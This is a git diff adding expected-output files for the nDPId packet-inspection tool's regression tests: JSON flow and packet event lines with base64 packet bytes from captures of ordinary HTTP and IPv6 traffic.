+00396{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2,"source":"http-crash-content-disposition.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492518365,"pkt_ts_usec":767814,"pkt_caplen":60,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"RQAAPAAAQAAtBt4hroEACsCoAGcAUMfjkVcfantFqW+gEjiQ\/PYAAAIEBawEAggKK6FboQAUfdUBAwMH"} +00182{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2,"source":"http-crash-content-disposition.pcap","alias":"nDPId-test","datalink":12} +00387{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3,"source":"http-crash-content-disposition.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492518365,"pkt_ts_usec":789907,"pkt_caplen":52,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":52,"pkt_l4_len":0,"pkt":"RQAANNS8QABABvZswKgAZ66BAArH4wBQe0Wpb5FXH2uAEADlY08AAAEBCAoAFH3sK6FboQ=="} +00182{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3,"source":"http-crash-content-disposition.pcap","alias":"nDPId-test","datalink":12} +00959{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4,"source":"http-crash-content-disposition.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492518365,"pkt_ts_usec":809063,"pkt_caplen":480,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":480,"pkt_l4_len":0,"pkt":"RQAB4NS9QABABvS\/wKgAZ66BAArH4wBQe0Wpb5FXH2uAGADlVxoAAAEBCAoAFH3uK6FboVBPU1QgL2ltZXNzYWdlcy5waHA\/c29uZ2lmeV9hPTNoMjQ4Zklid0ombmV3IEhUVFAvMS4xDQpDb250ZW50LUxlbmd0aDogMjIwDQpDb250ZW50LVR5cGU6IG11bHRpcGFydC9mb3JtLWRhdGE7IGJvdW5kYXJ5PTV2N0xoYm5hMnJld0hyajBlX0Y4d3IwV0FWVHBZOTNFVDlpUUhEeQ0KSG9zdDoga2h1LnNoDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBBcGFjaGUtSHR0cENsaWVudC9VTkFWQUlMQUJMRSAoamF2YSAxLjQpDQoNCi0tNXY3TGhibmEycmV3SHJqMGVfRjh3cjBXQVZUcFk5M0VUOWlRSER5DQpDb250ZW50LURpc3Bvc2l0aW9uOiBmb3JtLWRhdGE7IG5hbWU9ImlzYW5kcm9pZCINCkNvbnRlbnQtVHlwZTogdGV4dC9wbGFpbjsgY2hhcnNldD1VUy1BU0NJSQ0KQ29udGVudC1UcmFuc2Zlci1FbmNvZGluZzogOGJpdA0KDQox"} +00182{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":4,"source":"http-crash-content-disposition.pcap","alias":"nDPId-test","datalink":12} +00447{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5,"source":"http-crash-content-disposition.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492518365,"pkt_ts_usec":809375,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"RQAAY9S+QABABvY7wKgAZ66BAArH4wBQe0WrG5FXH2uAGADlbXAAAAEBCAoAFH3uK6FboQ0KLS01djdMaGJuYTJyZXdIcmowZV9GOHdyMFdBVlRwWTkzRVQ5aVFIRHktLQ0K"} +00182{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":5,"source":"http-crash-content-disposition.pcap","alias":"nDPId-test","datalink":12} +00387{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6,"source":"http-crash-content-disposition.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492518365,"pkt_ts_usec":913066,"pkt_caplen":52,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":52,"pkt_l4_len":0,"pkt":"RQAANEN0QAAtBpq1roEACsCoAGcAUMfjkVcfa3tFqxuAEAB6YXsAAAEBCAoroVwyABR97g=="} +00182{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":6,"source":"http-crash-content-disposition.pcap","alias":"nDPId-test","datalink":12} +00387{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7,"source":"http-crash-content-disposition.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492518365,"pkt_ts_usec":913091,"pkt_caplen":52,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":52,"pkt_l4_len":0,"pkt":"RQAANEN1QAAtBpq0roEACsCoAGcAUMfjkVcfa3tFq0qAEAB6YUsAAAEBCAoroVwzABR97g=="} +00182{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":7,"source":"http-crash-content-disposition.pcap","alias":"nDPId-test","datalink":12} +02311{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8,"source":"http-crash-content-disposition.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492518365,"pkt_ts_usec":968175,"pkt_caplen":1492,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1492,"pkt_l4_len":0,"pkt":"RQAF1EN2QAAtBpUTroEACsCoAGcAUMfjkVcfa3tFq0qAEAB6GowAAAEBCAoroVxpABR97khUVFAvMS4xIDIwMCBPSw0KU2VydmVyOiBuZ2lueA0KRGF0ZTogVHVlLCAxOCBBcHIgMjAxNyAxMjoxOToyNSBHTVQNCkNvbnRlbnQtVHlwZTogdGV4dC9odG1sOyBjaGFyc2V0PVVURi04DQpDb25uZWN0aW9uOiBrZWVwLWFsaXZlDQpYLVBvd2VyZWQtQnk6IFBIUC81LjMuMw0KQ29udGVudC1MZW5ndGg6IDIxODcNCg0KPD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz4KPGltc2dzPgo8dGltZXN0YW1wPjEzNTgyNzg0NTA8L3RpbWVzdGFtcD4KPGZyZXF1ZW50bHlfc2hvdz4zPC9mcmVxdWVudGx5X3Nob3c+CjxmcmVxdWVudGx5X3Nob3dfZmlyc3Q+MzwvZnJlcXVlbnRseV9zaG93X2ZpcnN0Pgo8bWVzc2FnZV9saXN0PgoJPG1lc3NhZ2U+CgkJPGlkPjE4PC9pZD4KCQk8dGl0bGU+RnJvbSBCcnVubyBNYXJzIHRvIFJpaGFubmE8L3RpdGxlPgoJCTxkZXNjcmlwdGlvbj5QbGF5IHRoZSBob3R0ZXN0IHNvbmdzIGVmZm9ydGxlc3NseSBvbiB0aGUgIzEgcGlhbm8gYXBwITwvZGVzY3JpcHRpb24+CgkJPHVybD5odHRwOi8vYXBpLnNtdWxlLmNvbS92Mi9yZWRpcmVjdC9leUozWldKVmNtd2lPaUpvZEhSd09pOHZjR3hoZVM1bmIyOW5iR1V1WTI5dEwzTjBiM0psTDJGd2NITXZaR1YwWVdsc2N6OXBaRngxTURBelpHTnZiUzV6YlhWc1pTNXRZV2RwWTNCcFlXNXZJaXdpYlc5aWFXeGxWWEpzSWpvaWJXRnlhMlYwT2k4dlpHVjBZV2xzY3o5cFpGeDFNREF6WkdOdmJTNXpiWFZzWlM1dFlXZHBZM0JwWVc1dklpd2lZMkZ0Y0dGcFoyNUpaQ0k2TVRReU1pd2lZWEJ3SWpvaVRVbE9TVkJKUVU1UFgwRk9SRkpQU1VRaWZRPT08L3VybD4KCQk8dHlwZT4wPC90eXBlPgoJCTxjYXRlZ29yeT4zPC9jYXRlZ29yeT4KCQk8bWF4X2Rpc3BsYXlfbnVtPjIxNDUxMzc2MzQ8L21heF9kaXNwbGF5X251bT4KCTwvbWVzc2FnZT4KCTxtZXNzYWdlPgoJCTxpZD4xNzwvaWQ+CgkJPHRpdGxlPkRvd25sb2FkIFNpbmchIEthcmFva2UgZm9yIEZSRUU8L3RpdGxlPgoJCTxkZXNjcmlwdGlvbj5TaW5nIHNvbmdzIGJ5IDFELCBDYXJseSBSYWUgSmVwc2VuLCBCaWViZXIgJmFtcDsgbW9yZSE8L2Rlc2NyaXB0aW9uPgoJCTx1cmw+aHR0cDovL2FwaS5zbXVsZS5jb20vdjIvcmVkaXJlY3QvZXlKM1pXSlZjbXdpT2lKb2RIUndjem92TDNCc1lYa3VaMjl2WjJ4bExtTnZiUzl6ZEc5eVpTOWhjSEJ6TDJSbGRHRnBiSE0vYVdSY2RUQXdNMlJqYjIwdWMyMTFiR1V1YzJsdVoyRnVaSEp2YVdRaUxDSnRiMkpwYkdWVmNtd2lPaUp0WVhKclpYUTZMeTlrWlhSaGFXeHpQMmxrWEhVd01ETmtZMjl0TG5OdGRXeGxMbk5wYm1kaGJtUnliMmxrSWl3aVkyRnRjR0ZwWjI1SlpDSTZNVEV4T0N3aVlYQndJam9pVTBsT1IxOUhUMDlIVEVVaWZRPT08L3VybD4KCQk8dHlwZT4wPC90eXBlPgoJCTxjYXRlZ29yeT4xPC9jYXRlZ29yeT4KCQk8bWF4X2Rpc3BsYXlfbnVtPjY3NzM5MA=="} +00182{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":8,"source":"http-crash-content-disposition.pcap","alias":"nDPId-test","datalink":12} +01625{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":9,"source":"http-crash-content-disposition.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492518365,"pkt_ts_usec":968183,"pkt_caplen":981,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":981,"pkt_l4_len":0,"pkt":"RQAD1UN3QAAtBpcRroEACsCoAGcAUMfjkVclC3tFq0qAGAB6wJEAAAEBCAoroVxpABR97jQ8L21heF9kaXNwbGF5X251bT4KCTwvbWVzc2FnZT4KCTxtZXNzYWdlPgoJCTxpZD4yMDwvaWQ+CgkJPHRpdGxlPkEgUGVwIFRhbGsgZnJvbSBLaWQgUHJlc2lkZW50ITwvdGl0bGU+CgkJPGRlc2NyaXB0aW9uPldhdGNoIHRoZSBuZXdlc3QgdmlkZW8gZnJvbSBUaGUgR3JlZ29yeSBCcm90aGVycywgYW5kIHBlcmZvcm0geW91ciBvd24gcmVuZGl0aW9uITwvZGVzY3JpcHRpb24+CgkJPHVybD5odHRwOi8vd3d3LnlvdXR1YmUuY29tL3dhdGNoP3Y9bkZHY3JZUGRySlU8L3VybD4KCQk8dHlwZT4wPC90eXBlPgoJCTxjYXRlZ29yeT4xPC9jYXRlZ29yeT4KCQk8bWF4X2Rpc3BsYXlfbnVtPjIxNDYzNTQyNDg8L21heF9kaXNwbGF5X251bT4KCTwvbWVzc2FnZT4KCTxtZXNzYWdlPgoJCTxpZD4yMTwvaWQ+CgkJPHRpdGxlPlJhcCBsaWtlIEVtaW5lbSE8L3RpdGxlPgoJCTxkZXNjcmlwdGlvbj5BdXRvUmFwIHR1cm5zIHNwZWVjaCBpbnRvIHJhcCAoYW5kIGNvcnJlY3RzIGJhZCByYXBwaW5nKS48L2Rlc2NyaXB0aW9uPgoJCTx1cmw+aHR0cDovL2FwaS5zbXVsZS5jb20vdjIvcmVkaXJlY3QvZXlKM1pXSlZjbXdpT2lKb2RIUndjem92TDNCc1lYa3VaMjl2WjJ4bExtTnZiUzl6ZEc5eVpTOWhjSEJ6TDJSbGRHRnBiSE0vYVdSY2RUQXdNMlJqYjIwdWMyMTFiR1V1WVhWMGIzSmhjQ0lzSW0xdlltbHNaVlZ5YkNJNkltMWhjbXRsZERvdkwyUmxkR0ZwYkhNL2FXUmNkVEF3TTJSamIyMHVjMjExYkdVdVlYVjBiM0poY0NJc0ltTmhiWEJoYVdkdVNXUWlPakUxTVRNc0ltRndjQ0k2SWtGVlZFOVNRVkJmUjA5UFJ5Sjk8L3VybD4KCQk8dHlwZT4wPC90eXBlPgoJCTxjYXRlZ29yeT4zPC9jYXRlZ29yeT4KCQk8bWF4X2Rpc3BsYXlfbnVtPjIxNDYwNzU0MDI8L21heF9kaXNwbGF5X251bT4KCTwvbWVzc2FnZT4KPC9tZXNzYWdlX2xpc3Q+CjwvaW1zZ3M+"} +00182{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":9,"source":"http-crash-content-disposition.pcap","alias":"nDPId-test","datalink":12} diff --git a/test/results/http-lines-split.pcap.out b/test/results/http-lines-split.pcap.out new file mode 100644 index 000000000..687e59236 --- /dev/null +++ b/test/results/http-lines-split.pcap.out @@ -0,0 +1,16 @@ +00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"http-lines-split.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1593713340401,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.1","dst_ip":"192.168.0.20","src_port":39236,"dst_port":31337,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00431{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"http-lines-split.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1593713340,"pkt_ts_usec":401681,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABjzZLGIYDjgxTWgCABFAAA0t6tAAHkGyLLAqAABwKgAFJlEemkrolmxAAAAAIAC+vBZugAAAgQFtAEBBAIBAwMG"} +00432{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"http-lines-split.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1593713340,"pkt_ts_usec":401724,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"YDjgxTWgABjzZLGICABFAAA0AABAALIGR17AqAAUwKgAAXppmUT8ca\/AK6JZsoAS+vCBjAAAAgQFtAEBBAIBAwMH"} +00424{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"http-lines-split.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1593713340,"pkt_ts_usec":401990,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ABjzZLGIYDjgxTWgCABFAAAot6xAAHkGyL3AqAABwKgAFJlEemkrolmy\/HGvwVAQA+zlTAAAAAAAAAAA"} +00469{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"http-lines-split.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1593713340,"pkt_ts_usec":402042,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"ABjzZLGIYDjgxTWgCABFAABOt61AAHkGyJbAqAABwKgAFJlEemkrolmy\/HGvwVAYA+z\/KAAAR0VUIC8gSFRUUC8xLjENCkhvc3Q6IHRvbmkubGFuOjMxMzM3DQo="} +00679{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":4,"source":"http-lines-split.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":4,"flow_first_seen":1593713340401,"flow_last_seen":1593713340402,"flow_tot_l4_data_len":142,"flow_min_l4_data_len":20,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":35,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.1","dst_ip":"192.168.0.20","src_port":39236,"dst_port":31337,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"toni.lan","url":"toni.lan:31337\/","code":0,"content_type":"","user_agent":""}} +00416{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"http-lines-split.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1593713340,"pkt_ts_usec":402061,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"YDjgxTWgABjzZLGICABFAAAoPVdAALIGChPAqAAUwKgAAXppmUT8ca\/BK6JZ2FAQAfaBgAAA"} +00456{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"http-lines-split.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1593713340,"pkt_ts_usec":402236,"pkt_caplen":83,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":83,"pkt_l4_len":49,"pkt":"ABjzZLGIYDjgxTWgCABFAABFt65AAHkGyJ7AqAABwKgAFJlEemkrolnY\/HGvwVAYA+zalAAAVXNlci1BZ2VudDogdWNsaWVudC1mZXRjaA0KDQo="} +00416{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"http-lines-split.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1593713340,"pkt_ts_usec":402249,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"YDjgxTWgABjzZLGICABFAAAoPVhAALIGChLAqAAUwKgAAXppmUT8ca\/BK6JZ9VAQAfaBgAAA"} +00440{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"http-lines-split.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1593713340,"pkt_ts_usec":403665,"pkt_caplen":71,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":71,"pkt_l4_len":37,"pkt":"YDjgxTWgABjzZLGICABFAAA5PVlAALIGCgDAqAAUwKgAAXppmUT8ca\/BK6JZ9VAYAfaBkQAASFRUUC8xLjAgMjAwIE9LDQo="} +02370{"flow_id":1,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"http-lines-split.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1593713340,"pkt_ts_usec":403827,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"YDjgxTWgABjzZLGICABFAAXcPVpAALIGBFzAqAAUwKgAAXppmUT8ca\/SK6JZ9VAQAfaHNAAAU2VydmVyOiBTaW1wbGVIVFRQLzAuNiBQeXRob24vMi43LjE2DQpEYXRlOiBUaHUsIDAyIEp1bCAyMDIwIDE4OjA5OjAwIEdNVA0KQ29udGVudC10eXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgNCkNvbnRlbnQtTGVuZ3RoOiAxNDc2DQoNCjwhRE9DVFlQRSBodG1sIFBVQkxJQyAiLS8vVzNDLy9EVEQgSFRNTCAzLjIgRmluYWwvL0VOIj48aHRtbD4KPHRpdGxlPkRpcmVjdG9yeSBsaXN0aW5nIGZvciAvPC90aXRsZT4KPGJvZHk+CjxoMj5EaXJlY3RvcnkgbGlzdGluZyBmb3IgLzwvaDI+Cjxocj4KPHVsPgo8bGk+PGEgaHJlZj0iLmdkYl9oaXN0b3J5Ij4uZ2RiX2hpc3Rvcnk8L2E+CjxsaT48YSBocmVmPSIuZ2l0LyI+LmdpdC88L2E+CjxsaT48YSBocmVmPSIuZ2l0aWdub3JlIj4uZ2l0aWdub3JlPC9hPgo8bGk+PGEgaHJlZj0iLmdpdGxhYi1jaS55bWwiPi5naXRsYWItY2kueW1sPC9hPgo8bGk+PGEgaHJlZj0iLnRhcmJhbGwtdmVyc2lvbiI+LnRhcmJhbGwtdmVyc2lvbjwvYT4KPGxpPjxhIGhyZWY9Ii50cmF2aXMueW1sIj4udHJhdmlzLnltbDwvYT4KPGxpPjxhIGhyZWY9ImFjbG9jYWwubTQiPmFjbG9jYWwubTQ8L2E+CjxsaT48YSBocmVmPSJBVVRIT1JTIj5BVVRIT1JTPC9hPgo8bGk+PGEgaHJlZj0iYXV0b2dlbi5zaCI+YXV0b2dlbi5zaDwvYT4KPGxpPjxhIGhyZWY9ImF1dG9tNHRlLmNhY2hlLyI+YXV0b200dGUuY2FjaGUvPC9hPgo8bGk+PGEgaHJlZj0iYnVpbGQtYXV4LyI+YnVpbGQtYXV4LzwvYT4KPGxpPjxhIGhyZWY9IkNoYW5nZUxvZyI+Q2hhbmdlTG9nPC9hPgo8bGk+PGEgaHJlZj0iY29tcGlsZSI+Y29tcGlsZTwvYT4KPGxpPjxhIGhyZWY9ImNvbmZpZy5ndWVzcyI+Y29uZmlnLmd1ZXNzPC9hPgo8bGk+PGEgaHJlZj0iY29uZmlnLmxvZyI+Y29uZmlnLmxvZzwvYT4KPGxpPjxhIGhyZWY9ImNvbmZpZy5zdGF0dXMiPmNvbmZpZy5zdGF0dXM8L2E+CjxsaT48YSBocmVmPSJjb25maWcuc3ViIj5jb25maWcuc3ViPC9hPgo8bGk+PGEgaHJlZj0iY29uZmlndXJlIj5jb25maWd1cmU8L2E+CjxsaT48YSBocmVmPSJjb25maWd1cmUuYWMiPmNvbmZpZ3VyZS5hYzwvYT4KPGxpPjxhIGhyZWY9IkNPUFlJTkciPkNPUFlJTkc8L2E+CjxsaT48YSBocmVmPSJkYXRhLyI+ZGF0YS88L2E+CjxsaT48YSBocmVmPSJkZXBjb21wIj5kZXBjb21wPC9hPgo8bGk+PGEgaHJlZj0iSU5TVEFMTCI+SU5TVEFMTDwvYT4KPGxpPjxhIGhyZWY9Imluc3RhbGwtc2giPmluc3RhbGwtc2g8L2E+CjxsaT48YSBocmVmPSJtNC8iPm00LzwvYT4KPGxpPjxhIGhyZWY9Ik1ha2VmaWxlIj5NYWtlZmlsZTwvYT4KPGxpPjxhIGhyZWY9Ik1ha2VmaWxlLmFtIj5NYWtlZmlsZS5hbTwvYT4KPGxpPjxhIGhyZWY9Ik1ha2VmaWxlLmluIj5NYWtlZmlsZS5pbjwvYT4KPGxpPjxhIGhyZWY9Im1pc3NpbmciPm1pc3Npbmc8L2E+CjxsaT48YSBocmVmPSJORVdTIj5ORVdTPC9hPgo8bGk+PGE="} +00628{"flow_id":1,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"http-lines-split.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1593713340,"pkt_ts_usec":403894,"pkt_caplen":209,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":209,"pkt_l4_len":175,"pkt":"YDjgxTWgABjzZLGICABFAADDPVtAALIGCXTAqAAUwKgAAXppmUT8cbWGK6JZ9VAZAfaCGwAAIGhyZWY9IlBLR0JVSUxEIj5QS0dCVUlMRDwvYT4KPGxpPjxhIGhyZWY9IlJFQURNRSI+UkVBRE1FPC9hPgo8bGk+PGEgaHJlZj0iUkVBRE1FLm1kIj5SRUFETUUubWQ8L2E+CjxsaT48YSBocmVmPSJzcmMvIj5zcmMvPC9hPgo8L3VsPgo8aHI+CjwvYm9keT4KPC9odG1sPgo="} +00426{"flow_id":1,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"http-lines-split.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1593713340,"pkt_ts_usec":403900,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ABjzZLGIYDjgxTWgCABFAAAot69AAHkGyLrAqAABwKgAFJlEemkroln1\/HGv0lAQA+zk+AAAAAAAAAAA"} +00426{"flow_id":1,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"http-lines-split.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1593713340,"pkt_ts_usec":404101,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ABjzZLGIYDjgxTWgCABFAAAot7BAAHkGyLnAqAABwKgAFJlEemkroln1\/HG2IlAQA+reqgAAAAAAAAAA"} +00426{"flow_id":1,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"http-lines-split.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1593713340,"pkt_ts_usec":404575,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ABjzZLGIYDjgxTWgCABFAAAot7FAAHkGyLjAqAABwKgAFJlEemkroln1\/HG2IlARA+reqQAAAAAAAAAA"} +00417{"flow_id":1,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"http-lines-split.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1593713340,"pkt_ts_usec":404597,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"YDjgxTWgABjzZLGICABFAAAoAABAALIGR2rAqAAUwKgAAXppmUT8cbYiK6JZ9lAQAfbgnQAA"} diff --git a/test/results/http_ipv6.pcap.out b/test/results/http_ipv6.pcap.out new file mode 100644 index 000000000..780e37e66 --- /dev/null +++ b/test/results/http_ipv6.pcap.out @@ -0,0 +1,159 @@ +00504{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"http_ipv6.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1448269123954,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip6","src_ip":"2a00:d40:1:3:7aac:c0ff:fea7:d4c","dst_ip":"2a00:1450:4006:804::200e","src_port":40526,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00456{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269123,"pkt_ts_usec":954061,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"UMWNrEEBeKzApw1Mht1gAAAAACAGQCoADUAAAQADeqzA\/\/6nDUwqABRQQAYIBAAAAAAAACAOnk4Bu0sl6VcU0QFTgBAA8iVzAAABAQgKEg1o4A\/E+0k="} +00456{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"http_ipv6.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1448269123,"pkt_ts_usec":971846,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"eKzApw1M9LUv\/K\/Cht1gAAAAACAGOSoAFFBABggEAAAAAAAAIA4qAA1AAAEAA3qswP\/+pw1MAbueThTRAVNLJelYgBABCVvaAAABAQgKD8WrNBINPNs="} +00508{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3,"source":"http_ipv6.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1448269127395,"flow_last_seen":0,"flow_tot_l4_data_len":214,"flow_min_l4_data_len":214,"flow_max_l4_data_len":214,"flow_avg_l4_data_len":214,"midstream":1,"l3_proto":"ip6","src_ip":"2a00:d40:1:3:7aac:c0ff:fea7:d4c","dst_ip":"2a00:1450:4001:803::1017","src_port":41776,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} 